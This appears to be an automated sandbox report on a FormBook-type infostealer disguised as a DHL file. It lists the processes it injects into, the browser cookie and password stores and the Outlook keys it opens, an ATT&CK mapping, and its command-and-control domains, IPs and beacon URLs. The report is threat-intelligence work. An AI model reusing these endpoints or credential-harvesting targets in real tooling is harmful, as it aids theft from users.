Source: C:\Users\user\Desktop\DHL_734825510.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL_734825510.exe"	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Process created: C:\Windows\SysWOW64\regini.exe "C:\Windows\SysWOW64\regini.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: RsbLJIqaDYs.exe, 00000005.00000000.2575148913.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816729211.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000000.2733827779.0000000001331000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: RsbLJIqaDYs.exe, 00000005.00000000.2575148913.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816729211.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000000.2733827779.0000000001331000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RsbLJIqaDYs.exe, 00000005.00000000.2575148913.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816729211.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000000.2733827779.0000000001331000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RsbLJIqaDYs.exe, 00000005.00000000.2575148913.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816729211.00000000013B1000.00000002.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000000.2733827779.0000000001331000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2661754226.00000000094A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817215327.0000000002DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2655581470.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4815713074.00000000028B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817376568.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4817056266.0000000005200000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2656279373.00000000065E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\regini.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2661754226.00000000094A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817215327.0000000002DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2655581470.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4815713074.00000000028B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4817376568.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4817056266.0000000005200000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2656279373.00000000065E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHL_734825510.exe	42%	ReversingLabs	Win32.Trojan.AutoitInject
DHL_734825510.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.dating-apps-az-dn5.xyz/tskk/?BHptZ6F=o5GB+IawIAU5T0thXdQTAhCz8F67YQPQT/nwZCkciWz+LkCAD5WzKPOp+WFYKDZnS0ikteADWtOd2j97JYt8nhoktlw8l2JH1Fe3FVr0kJJ2WjNY2yZGKR8=&RZ=0nkpmZbx9Z4P2	0%	Avira URL Cloud	safe
http://www.samundri.online/3ifu/?BHptZ6F=u5oj/oWevlm54LOT1+Bryx675u+IDrtDZr257qJzt/2kXoBMan19x+0MdpxIfeL/WChZbD4JNYT/SNFPC81SuzkGtR7263FvFtQ21l4S/sR8VHVbXOTd4oM=&RZ=0nkpmZbx9Z4P2	0%	Avira URL Cloud	safe
http://bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6	0%	Avira URL Cloud	safe
http://www.appsolucao.shop/8mlm/	100%	Avira URL Cloud	malware
http://www.egyshare.xyz/440l/?BHptZ6F=9t5r8PtstBUGfqpIeh5XnEiswD9luMiEeVsajtw7Z3dqDkGB8mLGChY9CqfKEaHyEvKJDzANYYXJmO8Xh0K1SfJD5xex/OhwsPZZ5DEaSUshfqY+26Bd8yM=&RZ=0nkpmZbx9Z4P2	0%	Avira URL Cloud	safe
http://www.t19yd.top/sa1b/?BHptZ6F=XYHJVoT0LuIOm26Tyq9N91avW6u0HKWTSvSmIrnltmLk6JYzFfgCVHRXJm9nnHtkqw/GQg9hdUic1chKWcYHIwgC/tmXBuLbW2sUc5PcpWY1XILnhN44V5I=&RZ=0nkpmZbx9Z4P2	0%	Avira URL Cloud	safe
http://www.egyshare.xyz/440l/	0%	Avira URL Cloud	safe
http://www.ana-silverco.shop/ez1t/	0%	Avira URL Cloud	safe
http://www.bloodbalancecaps.shop/qimy/	0%	Avira URL Cloud	safe
http://www.atendefacil.info/gua3/?RZ=0nkpmZbx9Z4P2&BHptZ6F=PEExTvPebnfdN5xst02JMzGti5FnGkiLE22WiywfEIelsbdwqCVd6ByVLBEklw1lRQ+mhNbJQBi9PlJBFsZX42nwE3ew6u8Wba+OVKdJMXKWWGbfqYbjt0U=	0%	Avira URL Cloud	safe
http://www.sitioseguro.blog/k4tn/	0%	Avira URL Cloud	safe
http://www.happyjam.life/4ii9/	0%	Avira URL Cloud	safe
http://www.sitioseguro.blog/k4tn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=UszxsXnyXaHrix4mOaqJD7vMyBmxMOeCUNKfuMYEqjdUerJZ7q+fEOQwPEbVbpTJrGRa9GB6/NRWLuSsaWPLUhjS0DDan+QLtyBM3L4kv6zOvH8nY/xHjUE=	0%	Avira URL Cloud	safe
http://www.happyjam.life/4ii9/?RZ=0nkpmZbx9Z4P2&BHptZ6F=DCK/bgCIPtpt2RJApr/S57a5c6dyUmc4/YRC2H7mEi+GV8MabGqvART7ZhzmedatEBHVT2HbXE2R9ehhzokwzGc74R/EcNhRi8s6fgxoYqpZFSK7yfL6tiw=	0%	Avira URL Cloud	safe
http://www.whisperart.net/27s6/	0%	Avira URL Cloud	safe
http://www.appsolucao.shop/8mlm/?BHptZ6F=Dou+d174n903Q5s8eGVlbncTBC0Rpufru8Nex+2NzpzCLkW84PIBEnPU/VIOuudaHO13J+F+WsJAELWMIa4GeHkI0XjsMpOmPR3vOajhWYhkzVz3w31CV1o=&RZ=0nkpmZbx9Z4P2	100%	Avira URL Cloud	malware
http://www.ana-silverco.shop/ez1t/?BHptZ6F=6fEYs/GnwtqWMztB9xFdTpyVwIgq4y66Lrjdt5EE8ztyQFcx1ZWnbcrnPkjaT/5aXxdNApMw2aINlctYTPbgIAplS4neSxI29SjRMg4iVPNQf+tma6zkIeo=&RZ=0nkpmZbx9Z4P2	0%	Avira URL Cloud	safe
http://www.bloodbalancecaps.shop	0%	Avira URL Cloud	safe
http://www.samundri.online/3ifu/	0%	Avira URL Cloud	safe
http://www.whisperart.net/27s6/?RZ=0nkpmZbx9Z4P2&BHptZ6F=3HPpqXJ7+KzZdUbztAJQoIdlDoC5J9hYXz+VcheInCeAf0Mmt05i/k62iF4aOsJa+VYW+vyKTPXBSx5msm7TgI/vrOYQcOVU79uPxUHt14iAAYzPN76r48s=	0%	Avira URL Cloud	safe
http://www.atendefacil.info/gua3/	0%	Avira URL Cloud	safe
http://www.t19yd.top/sa1b/	0%	Avira URL Cloud	safe
http://www.bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6hSeAFIxekhL2UZBCo0je72bj3vEDDI4oJlEiagEhjxGQsrVSq8B3cYE1WLpspuVk6wMXVtPZnEUyIhQ=	0%	Avira URL Cloud	safe
http://www.remedies.pro/8ewn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=MQU8hgqJCfJkKwurq5QXSTcsAScUHw3Ryuy9I29ewyrFHLJiO5EUJc8dhjLhkP1w+kMFiKX1Jf9ni3jKt1WG/ZpblKXuHNDxI7tmrBLFv1SmPdd+ShDH4FU=	0%	Avira URL Cloud	safe
http://www.dating-apps-az-dn5.xyz/tskk/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.remedies.pro	13.248.169.48	true	false	high
www.whisperart.net	199.59.243.227	true	true	unknown
www.ana-silverco.shop	104.21.90.137	true	false	high
appsolucao.shop	84.32.84.32	true	true	unknown
samundri.online	84.32.84.32	true	true	unknown
www.dating-apps-az-dn5.xyz	199.59.243.227	true	true	unknown
www.sitioseguro.blog	172.67.162.39	true	false	high
www.egyshare.xyz	13.248.169.48	true	true	unknown
www.happyjam.life	209.74.77.107	true	true	unknown
bloodbalancecaps.shop	108.179.253.197	true	true	unknown
t19yd.top	38.47.207.164	true	true	unknown
www.atendefacil.info	208.115.225.220	true	true	unknown
www.bloodbalancecaps.shop	unknown	unknown	true	unknown
www.samundri.online	unknown	unknown	true	unknown
www.egldfi.xyz	unknown	unknown	true	unknown
www.t19yd.top	unknown	unknown	true	unknown
www.uynline.shop	unknown	unknown	true	unknown
www.betmatchx.online	unknown	unknown	true	unknown
www.appsolucao.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.samundri.online/3ifu/?BHptZ6F=u5oj/oWevlm54LOT1+Bryx675u+IDrtDZr257qJzt/2kXoBMan19x+0MdpxIfeL/WChZbD4JNYT/SNFPC81SuzkGtR7263FvFtQ21l4S/sR8VHVbXOTd4oM=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: safe	unknown
http://www.egyshare.xyz/440l/	true	Avira URL Cloud: safe	unknown
http://www.appsolucao.shop/8mlm/	true	Avira URL Cloud: malware	unknown
http://www.dating-apps-az-dn5.xyz/tskk/?BHptZ6F=o5GB+IawIAU5T0thXdQTAhCz8F67YQPQT/nwZCkciWz+LkCAD5WzKPOp+WFYKDZnS0ikteADWtOd2j97JYt8nhoktlw8l2JH1Fe3FVr0kJJ2WjNY2yZGKR8=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: safe	unknown
http://www.ana-silverco.shop/ez1t/	true	Avira URL Cloud: safe	unknown
http://www.egyshare.xyz/440l/?BHptZ6F=9t5r8PtstBUGfqpIeh5XnEiswD9luMiEeVsajtw7Z3dqDkGB8mLGChY9CqfKEaHyEvKJDzANYYXJmO8Xh0K1SfJD5xex/OhwsPZZ5DEaSUshfqY+26Bd8yM=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: safe	unknown
http://www.t19yd.top/sa1b/?BHptZ6F=XYHJVoT0LuIOm26Tyq9N91avW6u0HKWTSvSmIrnltmLk6JYzFfgCVHRXJm9nnHtkqw/GQg9hdUic1chKWcYHIwgC/tmXBuLbW2sUc5PcpWY1XILnhN44V5I=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: safe	unknown
http://www.atendefacil.info/gua3/?RZ=0nkpmZbx9Z4P2&BHptZ6F=PEExTvPebnfdN5xst02JMzGti5FnGkiLE22WiywfEIelsbdwqCVd6ByVLBEklw1lRQ+mhNbJQBi9PlJBFsZX42nwE3ew6u8Wba+OVKdJMXKWWGbfqYbjt0U=	true	Avira URL Cloud: safe	unknown
http://www.bloodbalancecaps.shop/qimy/	true	Avira URL Cloud: safe	unknown
http://www.happyjam.life/4ii9/	true	Avira URL Cloud: safe	unknown
http://www.sitioseguro.blog/k4tn/	true	Avira URL Cloud: safe	unknown
http://www.sitioseguro.blog/k4tn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=UszxsXnyXaHrix4mOaqJD7vMyBmxMOeCUNKfuMYEqjdUerJZ7q+fEOQwPEbVbpTJrGRa9GB6/NRWLuSsaWPLUhjS0DDan+QLtyBM3L4kv6zOvH8nY/xHjUE=	true	Avira URL Cloud: safe	unknown
http://www.whisperart.net/27s6/	true	Avira URL Cloud: safe	unknown
http://www.ana-silverco.shop/ez1t/?BHptZ6F=6fEYs/GnwtqWMztB9xFdTpyVwIgq4y66Lrjdt5EE8ztyQFcx1ZWnbcrnPkjaT/5aXxdNApMw2aINlctYTPbgIAplS4neSxI29SjRMg4iVPNQf+tma6zkIeo=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: safe	unknown
http://www.appsolucao.shop/8mlm/?BHptZ6F=Dou+d174n903Q5s8eGVlbncTBC0Rpufru8Nex+2NzpzCLkW84PIBEnPU/VIOuudaHO13J+F+WsJAELWMIa4GeHkI0XjsMpOmPR3vOajhWYhkzVz3w31CV1o=&RZ=0nkpmZbx9Z4P2	true	Avira URL Cloud: malware	unknown
http://www.happyjam.life/4ii9/?RZ=0nkpmZbx9Z4P2&BHptZ6F=DCK/bgCIPtpt2RJApr/S57a5c6dyUmc4/YRC2H7mEi+GV8MabGqvART7ZhzmedatEBHVT2HbXE2R9ehhzokwzGc74R/EcNhRi8s6fgxoYqpZFSK7yfL6tiw=	true	Avira URL Cloud: safe	unknown
http://www.samundri.online/3ifu/	true	Avira URL Cloud: safe	unknown
http://www.whisperart.net/27s6/?RZ=0nkpmZbx9Z4P2&BHptZ6F=3HPpqXJ7+KzZdUbztAJQoIdlDoC5J9hYXz+VcheInCeAf0Mmt05i/k62iF4aOsJa+VYW+vyKTPXBSx5msm7TgI/vrOYQcOVU79uPxUHt14iAAYzPN76r48s=	true	Avira URL Cloud: safe	unknown
http://www.atendefacil.info/gua3/	true	Avira URL Cloud: safe	unknown
http://www.remedies.pro/8ewn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=MQU8hgqJCfJkKwurq5QXSTcsAScUHw3Ryuy9I29ewyrFHLJiO5EUJc8dhjLhkP1w+kMFiKX1Jf9ni3jKt1WG/ZpblKXuHNDxI7tmrBLFv1SmPdd+ShDH4FU=	true	Avira URL Cloud: safe	unknown
http://www.bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6hSeAFIxekhL2UZBCo0je72bj3vEDDI4oJlEiagEhjxGQsrVSq8B3cYE1WLpspuVk6wMXVtPZnEUyIhQ=	true	Avira URL Cloud: safe	unknown
http://www.t19yd.top/sa1b/	true	Avira URL Cloud: safe	unknown
http://www.dating-apps-az-dn5.xyz/tskk/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kb.fastpanel.direct/troubleshoot/	regini.exe, 00000006.00000002.4821060056.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.00000000049C8000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000040A8000.00000004.00000001.00040000.00000000.sdmp	false		high
http://bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6	regini.exe, 00000006.00000002.4819056247.0000000005010000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000046F0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	regini.exe, 00000006.00000002.4821060056.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.0000000004B5A000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4819056247.0000000004CEC000.00000004.10000000.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.00000000043CC000.00000004.00000001.00040000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.000000000423A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bloodbalancecaps.shop	RsbLJIqaDYs.exe, 00000007.00000002.4819665494.00000000051EF000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	regini.exe, 00000006.00000003.2955752351.000000000794D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.remedies.pro	United States	16509	AMAZON-02US	false
209.74.77.107	www.happyjam.life	United States	31744	MULTIBAND-NEWHOPEUS	true
108.179.253.197	bloodbalancecaps.shop	United States	46606	UNIFIEDLAYER-AS-1US	true
38.47.207.164	t19yd.top	United States	174	COGENT-174US	true
199.59.243.227	www.whisperart.net	United States	395082	BODIS-NJUS	true
84.32.84.32	appsolucao.shop	Lithuania	33922	NTT-LT-ASLT	true
172.67.162.39	www.sitioseguro.blog	United States	13335	CLOUDFLARENETUS	false
104.21.90.137	www.ana-silverco.shop	United States	13335	CLOUDFLARENETUS	false
208.115.225.220	www.atendefacil.info	United States	46475	LIMESTONENETWORKSUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570251
Start date and time:	2024-12-06 17:34:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL_734825510.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@15/9
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 86% Number of executed functions: 54 Number of non-executed functions: 318
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: DHL_734825510.exe

Simulations

Behavior and APIs

Time	Type	Description
11:36:16	API Interceptor	9817440x Sleep call for process: regini.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	purchase order.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	SRT68.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/vxa5/
	ek8LkB2Cgo.exe	Get hash	malicious	FormBook	Browse	www.remedies.pro/4azw/
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.optimismbank.xyz/98j3/?2O=jo1iJOnj8ueGZPJDfvyWmhhX4bGAJjt1DdtSaCSQL5v3UEYBE5VATgnqgu9yCYXU1qT81UG2HbOLQLBbZNDoJaqiWagLaQ4MrpZVJnF4w7w/HKU2baOdEb4=&ChhG6=J-xs
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	www.smartgov.shop/1cwp/
	SW_5724.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/440l/
	attached invoice.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/k1td/
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/98j3/
	lKvXJ7VVCK.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
209.74.77.107	SRT68.exe	Get hash	malicious	FormBook	Browse	www.liveplah.live/2bf0/
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	www.gadgetre.info/8q8w/
	PO 4110007694.exe	Get hash	malicious	FormBook	Browse	www.learnwithus.site/alu5/
	Latest advice payment.exe	Get hash	malicious	FormBook	Browse	www.learnwithus.site/alu5/
	SW_5724.exe	Get hash	malicious	FormBook	Browse	www.happyjam.life/4ii9/
	quotation.exe	Get hash	malicious	FormBook	Browse	www.gadgetre.info/8q8w/
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.beyondfitness.live/fbpt/
	specifications.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.gadgetre.info/8q8w/
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	www.learnwithus.site/alu5/
	ARRIVAL NOTICE.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.gadgetre.info/8q8w/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.remedies.pro	SRT68.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	ek8LkB2Cgo.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SW_5724.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.whisperart.net	SW_5724.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.whisperart.net	file.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.sitioseguro.blog	SW_5724.exe	Get hash	malicious	FormBook	Browse	104.21.15.100
	file.exe	Get hash	malicious	FormBook	Browse	172.67.162.39
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	172.67.162.39
	5674656777985-069688574654 pdf.exe	Get hash	malicious	FormBook	Browse	104.21.15.100
www.ana-silverco.shop	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	172.67.156.195
	SW_5724.exe	Get hash	malicious	FormBook	Browse	172.67.156.195
	quotation.exe	Get hash	malicious	FormBook	Browse	104.21.90.137
	specifications.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.90.137
	ARRIVAL NOTICE.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.90.137
www.dating-apps-az-dn5.xyz	Invoice 10493.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	SW_5724.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	199.59.243.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MULTIBAND-NEWHOPEUS	SRT68.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Invoice 10493.exe	Get hash	malicious	FormBook	Browse	209.74.77.109
	PO 4110007694.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Latest advice payment.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	209.74.77.109
